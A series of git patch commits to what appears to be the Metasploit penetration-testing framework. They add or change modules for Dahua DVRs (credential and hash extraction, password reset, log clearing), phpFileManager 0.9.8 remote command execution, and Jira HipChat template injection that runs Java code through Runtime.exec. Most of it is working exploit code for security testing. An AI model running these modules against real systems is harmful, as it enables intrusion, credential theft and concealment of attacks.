groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - - user = "root" - pass = " w" - # user8pwhash = "4WzwxXxM" #888888 - # user6pwhash = "sh15yfFM" #666666 - # useradminpwhash = "6QNMIQGe" #admin + def grab_version connect - sock.put(u1) - data = sock.recv(8) - disconnect - if data == dvr_resp - print_good("DVR FOUND: @ #{rhost}:#{rport}!") - report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - connect - sock.put(version) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - ver = Regexp.last_match[1] - print_status("Version: #{ver} @ #{rhost}:#{rport}!") - end + sock.put(VERSION) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + ver = Regexp.last_match[1] + print_status("Version: #{ver} @ #{rhost}:#{rport}!") + end + end - sock.put(sn) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - serial = Regexp.last_match[1] - print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") - end - connect - sock.put(email) - if data = sock.get(1024).split('&&') - print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ - if mailhost = Regexp.last_match[1].split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? - end + def grab_sn + sock.put(SN) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + serial = Regexp.last_match[1] + print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + end + end + + def grab_email + connect + sock.put(EMAIL) + if data = sock.get(1024).split('&&') + print_status("Email Settings: @ #{rhost}:#{rport}!") + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if mailhost = Regexp.last_match[1].split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + end if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? muser = "#{data[5]}" mpass = "#{data[6]}" mailserver = "#{mailhost[0]}" @@ -106,129 +106,201 @@ class Metasploit3 < Msf::Auxiliary report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? end end - end end - connect - sock.put(ddns) - if data = sock.get(1024) - data = data.split(/&&[0-1]&&/) - data.each_with_index do |val, index| - if index > 0 - val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") unless val.nil? - print_status(" DDNS Server: #{ddns_server}") unless val.nil? - print_status(" DDNS Port: #{ddns_port}") unless val.nil? - print_status(" Domain: #{ddns_domain}") unless val.nil? - print_good(" Username: #{ddns_user}") unless val.nil? - print_good(" Password: #{ddns_pass}") unless val.nil? - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + end + end - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - end + def grab_ddns + connect + sock.put(DDNS) + if data = sock.get(1024) + data = data.split(/&&[0-1]&&/) + data.each_with_index do |val, index| + if index > 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") unless val.nil? + print_status(" DDNS Server: #{ddns_server}") unless val.nil? + print_status(" DDNS Port: #{ddns_port}") unless val.nil? + print_status(" Domain: #{ddns_domain}") unless val.nil? + print_good(" Username: #{ddns_user}") unless val.nil? + print_good(" Password: #{ddns_pass}") unless val.nil? + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end end - connect - sock.put(nas) - if data = sock.get(1024) - print_status("Nas Settings @ #{rhost}:#{rport}!:") - server = '' - port = '' - if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ - server = Regexp.last_match[1].unpack('C*').join('.') - port = Regexp.last_match[2].unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") - end - if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ - ftpuser = Regexp.last_match[1] - ftppass = Regexp.last_match[2] - print_good(" FTP User: #{ftpuser}") - print_good(" FTP Password: #{ftppass}") - if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 - report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? - end + end + end + + def grab_nas + connect + sock.put(NAS) + if data = sock.get(1024) + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = Regexp.last_match[1].unpack('C*').join('.') + port = Regexp.last_match[2].unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ + ftpuser = Regexp.last_match[1] + ftppass = Regexp.last_match[2] + print_good(" FTP User: #{ftpuser}") + print_good(" FTP Password: #{ftppass}") + if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 + report_creds( + host: server, + port: port, + user: ftpuser, + pass: ftppass, + type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? end end - connect - sock.put(channels) - data = sock.get(1024).split('&&') - disconnect - if data.length > 1 - print_status("Camera Channels @ #{rhost}:#{rport}!:") - data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } + end + end + + def grab_channels + connect + sock.put(CHANNELS) + data = sock.get(1024).split('&&') + disconnect + if data.length > 1 + print_status("Camera Channels @ #{rhost}:#{rport}!:") + data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } + end + end + + def grab_users + usercount = 0 + connect + sock.put(USERS) + if data = sock.get(1024).split('&&') + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each do |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + value = pass.split(":") + user = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{user}:$dahua$#{md5hash}" + report_hash(rhost, rport, user, hash) + # Write the vulnerability to the database + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{user}: #{md5hash}", + refs: references + ) end - connect - sock.put(users) - if data = sock.get(1024).split('&&') - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") - data.each do |val| - usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" - value = pass.split(":") - username = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") - # Write the dahua hash to the database - hash = "#{rhost} #{username}:$dahua$#{md5hash}" - report_hash(ip, rport, user, hash) - # Write the vulnerability to the database - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'dvr', - name: 'Dahua Authentication Password Hash Exposure', - info: "Obtained password hash for user #{username}: #{md5hash}", - refs: references - ) - end + end + end + + def grab_groups + connect + sock.put(GROUPS) + if data = sock.get(1024).split('&&') + print_status("User Groups: @ #{rhost}:#{rport}!") + data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } + end + end + + def reset_user + userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring + sock.put(u1) + sock.put(u2) + sock.put(u3) + data = sock.get(1024) + sock.put(u1) + if data = sock.get(1024) + print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + end + end + + def clear_logs + sock.put(CLEAR_LOGS1) + sock.put(CLEAR_LOGS2) + print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + end + + def run_host(ip) + # user8pwhash = "4WzwxXxM" #888888 + # user6pwhash = "sh15yfFM" #666666 + # useradminpwhash = "6QNMIQGe" #admin + connect + sock.put(U1) + data = sock.recv(8) + disconnect + if data == DVR_RESP + print_good("DVR FOUND: @ #{rhost}:#{rport}!") + report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") + # needs boolean logic to run or not run + if datastore['VERSION_INFO'] + grab_version end - connect - sock.put(groups) - if data = sock.get(1024).split('&&') - print_status("User Groups: @ #{rhost}:#{rport}!") - data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } + # needs boolean logic to run or not run + if datastore['SN_INFO'] + grab_sn + end + # needs boolean logic to run or not run + if datastore['EMAIL_INFO'] + grab_email + end + # needs boolean logic to run or not run + if datastore['DDNS_INFO'] + grab_ddns + end + # needs boolean logic to run or not run + if datastore['NAS_INFO'] + grab_nas + end + # needs boolean logic to run or not run + if datastore['CHANNEL_INFO'] + grab_channels + end + # needs boolean logic to run or not run + if datastore['USER_INFO'] + grab_users + end + # needs boolean logic to run or not run + if datastore['GROUP_INFO'] + grab_groups end if datastore['RESET'] - userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password - u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring - sock.put(u1) - sock.put(u2) - sock.put(u3) - data = sock.get(1024) - sock.put(u1) - if data = sock.get(1024) - print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") - end - + reset_user end if datastore['CLEAR_LOGS'] - sock.put(clear_logs) - sock.put(clear_logs2) - print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + clear_logs end disconnect end end - def report_hash(ip, rport, user, hash) + def report_hash(rhost, rport, user, hash) service_data = { - address: ip, + address: rhost, port: rport, service_name: 'dahua_dvr', protocol: 'tcp', From 93a4fd0ee4792c6bd3f8decc390821797c7a1366 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 2 Dec 2015 15:43:11 -0600 Subject: [PATCH 1385/2172] Minor edits --- modules/auxiliary/admin/http/limesurvey_file_download.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 1bdee0ebf4..a1c019c933 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded - as a ZIP and unzipped automatically so also binary files can be downloaded. + as a ZIP and unzipped automatically, thus binary files can be downloaded. }, 'Author' => [ @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary 'vars_post' => vars_post }) - if res and res.code == 200 and res.body and res.body.include?('Download this file') + if res && res.code == 200 && res.body && res.body.include?('Download this file') match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>}) if match local_path = match[1] @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => download_url }) - if res and res.code == 200 + if res && res.code == 200 unzipped = unzip_file(res.body) unzipped.each do |filename, content| @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary path = store_loot( 'limesurvey.http', - '', + 'application/octet-stream', rhost, content, filename From fdbd3cfc116d3c16c4f243c9a3b5aab05f22634e Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Dec 2015 15:46:35 -0800 Subject: [PATCH 1386/2172] Fix minor style problems, call check() from run_host --- modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index d967e840cc..104e73a527 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary connect_udp # pick a random 64-bit timestamp - canary_timestamp = rand(2**32..2**64-1) + canary_timestamp = rand((2**32)..((2**64) - 1)) probe = build_crypto_nak(canary_timestamp) udp_sock.put(probe) @@ -103,10 +103,10 @@ class Metasploit3 < Msf::Auxiliary end end - return Exploit::CheckCode::Unknown + Exploit::CheckCode::Unknown end - def run_host(ip) - fail_with(Failure::Unknown, 'Not yet implemented') + def run_host(_ip) + check end end From a2d51d48cd31f2cf327fa8ecb2e64e3dff2043e5 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 12:11:31 +0800 Subject: [PATCH 1387/2172] Add phpFileManager 0.9.8 Remote Code Execution --- .../exploits/multi/http/phpfilemanager_rce.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/multi/http/phpfilemanager_rce.rb diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb new file mode 100644 index 0000000000..928eebbe18 --- /dev/null +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'phpFileManager 0.9.8 Remote Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in phpFileManager + 0.9.8 which is a filesystem management tool on a single file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'hyp3rlinx', # initial discovery + 'Jay Turla' # msf + ], + 'References' => + [ + [ 'EDB', '37709' ], + [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['phpFileManager / Unix', { 'Platform' => 'unix' } ], + ['phpFileManager / Windows', { 'Platform' => 'win' } ] + ], + 'DisclosureDate' => 'Aug 28 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']), + ],self.class) + end + + def check + cookie = push() + txt = Rex::Text.rand_text_alpha(8) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s), + 'cookie' => cookie, + 'vars_get' => { + 'action' => '6', + 'cmd' => 'echo #{txt}' + } + }) + + if res and res.body =~ /txt/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def push + uri = normalize_uri(target_uri.path.to_s) + + # To push the Enter button + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'frame' => '3', + 'pass' => '' # yep this should be empty + } + }) + + if res.nil? + vprint_error("#{peer} - Connection timed out") + return :abort + end + + location = res.headers['Location'] + + if res && res.headers && res.code == 302 && location =~ /index.php/ + print_good("#{peer} - Logged in to the file manager") + cookie = res.get_cookies + cookie + else + vprint_error("#{peer} - Error entering the file manager") + return + end + end + + def http_send_command(cmd) + cookie = push() + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s), + 'cookie' => cookie, + 'vars_get' => { + 'action' => '6', + 'cmd' => cmd + } + }) + unless res && res.code == 200 + fail_with(Failure::Unknown, "Failed to execute the command.") + end + res + end + + def exploit + http_send_command(payload.encoded) + end +end From 869caf789f3766400505df5fe0dce12f13d06d4e Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 12:34:17 +0800 Subject: [PATCH 1388/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 928eebbe18..1829e9076a 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -82,13 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri, 'vars_post' => { 'frame' => '3', - 'pass' => '' # yep this should be empty + 'pass' => '' # yep this should be empty } }) if res.nil? vprint_error("#{peer} - Connection timed out") - return :abort + fail_with(Failure::Unknown, "Failed to .") end location = res.headers['Location'] @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies cookie else - vprint_error("#{peer} - Error entering the file manager") + fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") return end end From ab77ab509a1d328b617f5cc4debda60e6feaa2cb Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 12:35:49 +0800 Subject: [PATCH 1389/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 1829e9076a..5279d1be4b 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path.to_s), 'cookie' => cookie, 'vars_get' => { - 'action' => '6', + 'action' => '6', 'cmd' => cmd } }) From 5414f33804375257d3f9c7f68b244408c3073ef8 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 12:43:47 +0800 Subject: [PATCH 1390/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 5279d1be4b..62c2e62317 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.nil? vprint_error("#{peer} - Connection timed out") - fail_with(Failure::Unknown, "Failed to .") + fail_with(Failure::Unknown, "Failed to trigger the Enter button .") end location = res.headers['Location'] From 56b810cb18565c2914a2e2c95abc91e45fc49edd Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 12:44:41 +0800 Subject: [PATCH 1391/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 62c2e62317..e9877a48c8 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.nil? vprint_error("#{peer} - Connection timed out") - fail_with(Failure::Unknown, "Failed to trigger the Enter button .") + fail_with(Failure::Unknown, "Failed to trigger the Enter button") end location = res.headers['Location'] From 374b63060165ddb37a2a2af2155aea75732f2552 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 13:57:19 +0800 Subject: [PATCH 1392/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index e9877a48c8..926cd0496d 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -67,10 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.body =~ /txt/ - return Exploit::CheckCode::Vulnerable - end - return Exploit::CheckCode::Safe + if res and res.body =~ /txt/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe end def push From d63bb4768f535df3e1730badf3c5170be8d0a39f Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Dec 2015 14:09:02 +0800 Subject: [PATCH 1393/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 926cd0496d..8cb16f3566 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote # To push the Enter button res = send_request_cgi({ - 'method' => 'POST', + 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'frame' => '3', From 83824b2902fb48363cef092ac3702d387e5491f6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 3 Dec 2015 02:39:55 -0600 Subject: [PATCH 1394/2172] First commit to support Windows for jira_hipchat_template In Java --- .../unix/webapp/jira_hipchat_template.rb | 214 ++++++++++++++---- 1 file changed, 173 insertions(+), 41 deletions(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index 581ed58385..2779873e3f 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote for Jira that allows team collibration at real time. A message can be used to inject Java code into a Velocity template, and gain code exeuction as Jira. Authentication is required to exploit this vulnerability, and you must make sure the account you're using isn't - protected by captcha. + protected by captcha. By default, Java payload will be used because it is cross-platform, + but you can also specify which native payload you want (Linux or Windows). HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with @@ -47,9 +48,12 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '76698' ], [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ] ], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Targets' => [[ 'HipChat for Jira plugin', {} ]], + 'Targets' => + [ + [ 'HipChat for Jira plugin on Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], + [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], + [ 'HipChat for Jira plugin on Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] + ], 'DefaultOptions' => { 'RPORT' => 8080 @@ -66,11 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('JIRAPASS', [false, 'Jira Password', '']), OptString.new('TARGETURI', [true, 'The base to Jira', '/']) ], self.class) - - register_advanced_options( - [ - OptString.new('WriteDir', [true, 'A directory where we can place our payload', '/tmp']) - ], self.class) end @@ -93,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote # I don't really care which command to execute, as long as it's a valid one. # If the command is valid, it should return {"message"=>"0"}. # If the command is not valid, it should return an empty hash. - c = get_exec_code('echo') + c = get_exec_code('whoami') res = inject_template(c, cookie) json = res.get_json_document if json['message'] && json['message'] == '0' @@ -295,6 +294,18 @@ class Metasploit3 < Msf::Exploit::Remote end + def get_target_platform(cookie) + c = get_os_detection_code + res = inject_template(c, cookie) + json = res.get_json_document + if json['message'] + return json['message'] + end + + nil + end + + # Returns Java code that can be used to inject to the template in order to write a file. # # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code, @@ -309,6 +320,50 @@ class Metasploit3 < Msf::Exploit::Remote end + def get_java_path_code + get_java_property_code('java.home') + end + + + def get_os_detection_code + get_java_property_code('os.name') + end + + + def get_temp_path_code + get_java_property_code('java.io.tmpdir') + end + + + def get_java_property_code(prop) + %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() | + end + + + def get_jar_exec_code(java_path, war_path) + # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. + if /^\/[[:print:]]+/ === war_path + normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java') + cmd_str = %Q|#{normalized_java_path} -jar #{war_path}| + else + normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe') + war_path.gsub!(/Program Files/, 'PROGRA~1') + cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"| + end + + %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() | + end + + + # Returns Java code that can be used to inject to the template in order to execute a file. + # + # @param cmd [String] command to execute + # @return [String] + def get_exec_code(cmd) + %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() | + end + + # Returns Java code that can be used to inject to the template in order to chmod a file. # # @param fname [String] File to chmod @@ -331,15 +386,6 @@ class Metasploit3 < Msf::Exploit::Remote end - # Returns Java code that can be used to inject to the template in order to execute a file. - # - # @param cmd [String] command to execute - # @return [String] - def 